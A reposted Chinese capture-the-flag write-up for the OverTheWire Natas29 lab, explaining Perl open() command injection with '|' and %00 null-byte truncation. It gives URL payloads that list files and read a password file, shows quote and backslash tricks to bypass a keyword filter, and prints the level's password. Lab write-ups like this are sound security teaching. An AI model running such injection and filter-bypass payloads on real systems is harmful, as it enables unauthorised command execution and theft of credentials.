• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

Natas29Writeup(Perl命令注入、00截断、绕过过滤)

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

Natas29:

本关打开后,可以看到一个下拉列表,选择不同的内容,会得到不同的大量文本的页面。

观察url部分:http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground

感觉是一个命令注入,尝试一下file=|ls %00,可以在页面底部看到文件列表,由此我们确定存在命令注入漏洞。

尝试注入命令直接获取natas30的密码,结果并没有显示出密码。

payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat%20/etc/natas_webpass/natas30+%20%00

由于刚才返回的文件列表中有index.pl,我们可以尝试打开index.pl来查看源码。

payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat+index.pl%00

我们看到,源码过滤了natas,导致显示meeeeeep!。我们可以将其绕过,从而得到flag。

payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat+/etc/na%22%22tas_webpass/nat%22%22as30%00

这里绕过过滤的方式有多种,比如

  • 双引号绕过:file=|cat+/etc/na%22%22tas_webpass/nat%22%22as30%00
  • 单引号绕过:ffile=|cat+/etc/n%27%27atas_webpass/n%27%27atas30%00
  • 反斜杠绕过:ffile=|cat+/etc/n\atas_webpass/n\atas30%00
  • 等等

flag:wie9iexae0Daihohv8vuu3cei9wahf0e

总结:

1.在perl中“|”字符会将命令连接到脚本中。
2.URL中,空格可以用“+”或者“%20”表示,双引号(")可以用“%22”表示。
3.%00会被url解码成0x00,导致00截断。
4.00截断原理:截断漏洞出现的核心就是chr(0),这个字符不为空 (Null),也不是空字符 (“”),更不是空格。当程序在输出含有 chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致了漏洞产生。
5.perl中,open()函数可以执行shell命令。
6.在shell命令注入漏洞中,有多种方式可以绕过过滤,详看这里
7.开发过程中,应尽量少用可以执行命令的函数,如果必须要用,一定要做好过滤。

 

参考:

https://blog.csdn.net/baidu_35297930/article/details/99974886?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
https://blog.csdn.net/silence1_/article/details/96135760


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
perlbless发布时间:2022-07-22
下一篇:
perl检查系统挂载and集群配置文件指定的挂载数量是否相等andrc.local是否对头-PERL ...发布时间:2022-07-22
热门推荐
热门话题
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap